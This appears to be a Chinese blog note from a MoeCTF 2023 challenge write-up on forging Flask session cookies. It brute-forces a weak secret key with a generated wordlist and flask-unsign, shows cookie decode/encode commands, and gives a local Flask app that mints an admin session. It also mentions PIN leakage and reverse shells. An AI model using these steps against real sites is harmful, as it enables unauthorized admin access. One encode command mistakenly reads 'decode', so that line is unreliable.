session伪造

SESSION 文件保存的目录由 session.save_path 指定,文件名以 sess_ 为前缀,后跟 SESSION ID,如:sess_c72665af28a8b14c0fe11afe3b59b51b。文件中的数据即是序列化之后的 SESSION 数据了 

session伪造     pin泄露console命令

moectf 2023wp moeworld

Interactive Console

在线生成反弹 shell

1)附件里 app.config['SECRET_KEY'] = os.urandom(2).hex()

先生成字典脚本如下:

import itertools
d = itertools.product('0123456789abcdef', repeat=4)
with open('dicts.txt', 'w') as f:
    for i in d:
        s = ''.join(i)
        f.write(s + '\n')

2)报错key flask-unsign 为例

flask-unsign -u -c '.eyJub3RlcyI6e319.ZRaiVg.28tEyvEpXfcjFl5rrQ7K_nkl208' -w dicts.txt
-- no-literal-eval
得到secret-key=18ff

命令使用:

decode
python flask_session_cookie_manager{2,3}.py decode -c [cookie] -s [Secret key]
也可以不加s参数,直接尝试base64解码,如上脚本

encode
python flask_session_cookie_manager{2,3}.py decode -s [Secret key]	-t "[之前解出的字符串]"		//一定要是双引号

3)本地起模拟,获得cookie

#flask server
from flask import Flask, session

app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
@app.route('/login')
def login():
    # 模拟登录,将用户名和角色存储在会话中
    session['loggedin'] = True
    session['username'] = 'admin'
    session['role'] = 'admin'
    return "登录成功!"

app.run()

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

El.十一

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值